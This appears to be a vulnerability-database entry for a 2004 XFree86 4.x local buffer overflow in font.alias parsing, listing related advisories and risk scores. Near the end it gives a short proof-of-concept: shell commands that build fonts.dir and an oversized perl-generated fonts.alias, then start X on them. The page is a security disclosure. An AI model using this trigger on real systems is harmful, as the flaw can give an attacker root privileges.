XFree86 4.x - CopyISOLatin1Lowered Font_Name Buffer Overflow

🗓️ 12 Feb 2004 00:00:00Reported by Greg MacManusType

XFree86 4.x has a local buffer overflow due to bounds checking in font.alias file processing.

Reporter	Title	Published	Views	Family All 73
BDU FSTEC	Vulnerabilities in the Debian GNU/Linux operating system that allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	6 Jul 201600:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities in the Debian GNU/Linux operating system that allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	6 Jul 201600:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities in the Debian GNU/Linux operating system that allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	6 Jul 201600:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities in the Debian GNU/Linux operating system that allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	6 Jul 201600:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities in the Debian GNU/Linux operating system that allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	6 Jul 201600:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities in the OpenSUSE operating system that allow malicious actors to compromise the confidentiality, integrity, and accessibility of protected information	28 Apr 201500:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities of the Red Hat Linux operating system, which allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	28 Apr 201500:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities of the Red Hat Linux operating system, which allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	28 Apr 201500:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities of the Red Hat Linux operating system, which allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	28 Apr 201500:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities of the Red Hat Linux operating system, which allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	28 Apr 201500:00	–	bdu_fstec

source: https://www.securityfocus.com/bid/9652/info

It has been reported that the XFree86 X Windows system is prone to a local buffer overflow vulnerability. The issue arises from improper bounds checking when parsing the 'font.alias' file. Successful exploitation of this issue may allow an attacker to gain root privileges to the affected system.

# cat > fonts.dir <<EOF
1
word.bdf -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
EOF
# perl -e 'print "data " . "0" x 2048 . "A" x 96 . "\n"' > fonts.alias
# X :0 -fp $PWD

27 Dec 2012 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 210

EPSS0.24863

xfree86 vulnerability local buffer overflow bounds checking font.alias root privileges exploit